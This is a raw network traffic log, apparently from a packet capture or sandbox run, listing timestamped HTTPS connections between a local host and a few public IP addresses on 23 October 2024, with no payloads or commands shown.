Oct 23, 2024 21:04:16.153384924 CEST	49809	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.153394938 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.153403044 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.155689001 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.155700922 CEST	49817	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.155734062 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.155807018 CEST	49817	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.155868053 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.156001091 CEST	49812	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.156032085 CEST	49817	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.156048059 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.156102896 CEST	49812	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.156115055 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.156148911 CEST	49812	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.156152964 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.156508923 CEST	49818	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.156553030 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.156624079 CEST	49818	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.156801939 CEST	49818	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.156820059 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.157968044 CEST	49819	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.157987118 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.158107042 CEST	49819	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.158269882 CEST	49819	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.158282995 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.710306883 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:16.710350037 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:16.710422039 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:16.710997105 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:16.711020947 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:16.718584061 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.719090939 CEST	49815	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.719111919 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.719594002 CEST	49815	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.719599962 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.856096983 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.856252909 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.856333971 CEST	49815	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.856476068 CEST	49815	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.856476068 CEST	49815	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.856498003 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.856508017 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.859658957 CEST	49823	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.859709024 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.859771013 CEST	49823	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.859940052 CEST	49823	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.859955072 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.893868923 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.894304037 CEST	49816	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.894345999 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.894736052 CEST	49816	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.894743919 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.899437904 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.899800062 CEST	49818	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.899816990 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.900311947 CEST	49818	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.900316954 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.938133955 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.938548088 CEST	49819	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.938564062 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.938973904 CEST	49819	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.938981056 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.942645073 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.942976952 CEST	49817	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.942991018 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.943392038 CEST	49817	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.943398952 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.032182932 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.032335997 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.032411098 CEST	49818	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.032533884 CEST	49818	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.032558918 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.032572985 CEST	49818	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.032579899 CEST	443	49818	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.035053015 CEST	49824	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.035079956 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.035145044 CEST	49824	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.035305023 CEST	49824	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.035324097 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.039105892 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.039194107 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.039242029 CEST	49816	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.039339066 CEST	49816	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.039347887 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.039359093 CEST	49816	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.039364100 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.043188095 CEST	49825	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.043220997 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.043468952 CEST	49825	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.043807030 CEST	49825	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.043817997 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.075943947 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.076402903 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.076458931 CEST	49819	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.076498032 CEST	49819	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.076518059 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.076534986 CEST	49819	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.076540947 CEST	443	49819	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.079121113 CEST	49826	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.079133987 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.079204082 CEST	49826	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.079358101 CEST	49826	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.079370022 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.080524921 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.080599070 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.080648899 CEST	49817	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.080745935 CEST	49817	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.080753088 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.080765963 CEST	49817	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.080770016 CEST	443	49817	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.082880020 CEST	49827	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.082896948 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.082971096 CEST	49827	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.083333969 CEST	49827	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.083343029 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.196516991 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:17.196587086 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:17.196674109 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:17.616193056 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.616679907 CEST	49823	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.616717100 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.618494034 CEST	49823	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.618499994 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.752562046 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.752784967 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.752871037 CEST	49823	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.752957106 CEST	49823	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.752981901 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.752994061 CEST	49823	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.753001928 CEST	443	49823	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.755568981 CEST	49828	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.755604982 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.755872965 CEST	49828	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.756069899 CEST	49828	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.756084919 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.781739950 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.782368898 CEST	49824	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.782403946 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.782928944 CEST	49824	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.782933950 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.812052011 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.812495947 CEST	49825	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.812515020 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.812912941 CEST	49825	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.812916994 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.822371960 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:17.822449923 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:17.825351954 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:17.825359106 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:17.826143980 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:17.827919960 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:17.828037977 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:17.828042984 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:17.828229904 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:17.848153114 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.848593950 CEST	49826	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.848614931 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.848975897 CEST	49826	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.848980904 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.854866982 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.855395079 CEST	49827	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.855424881 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.857378006 CEST	49827	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.857392073 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.871341944 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:17.936264038 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.936425924 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.936492920 CEST	49824	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.936604977 CEST	49824	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.936619997 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.936630011 CEST	49824	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.936635017 CEST	443	49824	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.939152002 CEST	49829	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.939177036 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.939260960 CEST	49829	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.939383030 CEST	49829	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.939397097 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.949870110 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.950136900 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.950191975 CEST	49825	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.950232029 CEST	49825	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.950242996 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.950261116 CEST	49825	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.950267076 CEST	443	49825	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.952220917 CEST	49830	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.952248096 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.952491045 CEST	49830	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.952677965 CEST	49830	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.952692032 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.987274885 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.987476110 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.987535000 CEST	49826	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.987579107 CEST	49826	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.987579107 CEST	49826	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.987586021 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.987596035 CEST	443	49826	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.989742994 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.989759922 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.989830017 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.989965916 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.989986897 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.993920088 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.994024992 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.994101048 CEST	49827	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.994168997 CEST	49827	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.994187117 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.994204998 CEST	49827	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.994210958 CEST	443	49827	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.996016979 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.996093988 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:17.996301889 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.996444941 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:17.996480942 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.075999975 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:18.080319881 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:18.080332994 CEST	443	49822	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:18.080377102 CEST	49822	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:18.507280111 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.507862091 CEST	49828	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.507884026 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.509376049 CEST	49828	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.509378910 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.589952946 CEST	49746	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:04:18.589997053 CEST	443	49746	142.250.186.68	192.168.2.6
Oct 23, 2024 21:04:18.642446995 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.642481089 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.642556906 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.642607927 CEST	49828	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.642905951 CEST	49828	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.642919064 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.642961979 CEST	49828	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.642967939 CEST	443	49828	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.646114111 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.646131039 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.646193981 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.646414042 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.646430969 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.695151091 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.695663929 CEST	49829	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.695688009 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.696086884 CEST	49829	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.696095943 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.717531919 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.717962027 CEST	49830	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.717973948 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.718473911 CEST	49830	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.718480110 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.741534948 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.741929054 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.741940975 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.742566109 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.742569923 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.762458086 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.762820959 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.762852907 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.763384104 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.763392925 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.832801104 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.832895041 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.833077908 CEST	49829	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.833194971 CEST	49829	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.833208084 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.833228111 CEST	49829	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.833234072 CEST	443	49829	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.836288929 CEST	49834	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.836389065 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.836472988 CEST	49834	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.836673021 CEST	49834	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.836700916 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.857542038 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.857654095 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.857739925 CEST	49830	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.857906103 CEST	49830	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.857906103 CEST	49830	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.857920885 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.857933044 CEST	443	49830	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.860269070 CEST	49835	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.860302925 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.860374928 CEST	49835	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.860542059 CEST	49835	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.860555887 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.900870085 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.900899887 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.900957108 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.900985956 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.901037931 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.901256084 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.901284933 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.901318073 CEST	49832	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.901333094 CEST	443	49832	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.904680014 CEST	49836	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.904707909 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:18.904773951 CEST	49836	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.904937983 CEST	49836	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:18.904957056 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.139560938 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.139590979 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.139662027 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.139694929 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.139717102 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.140008926 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.140013933 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.140048981 CEST	49831	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.140063047 CEST	443	49831	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.143369913 CEST	49837	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.143398046 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.143537045 CEST	49837	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.143747091 CEST	49837	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.143763065 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.410290003 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.410805941 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.410818100 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.411463976 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.411468029 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.547734976 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.547795057 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.547841072 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.547861099 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.547941923 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.548069000 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.548108101 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.548122883 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.548130989 CEST	49833	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.548135996 CEST	443	49833	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.551398993 CEST	49838	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.551498890 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.551626921 CEST	49838	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.551767111 CEST	49838	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.551798105 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.585499048 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.586019993 CEST	49834	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.586054087 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.586612940 CEST	49834	443	192.168.2.6	13.107.253.45
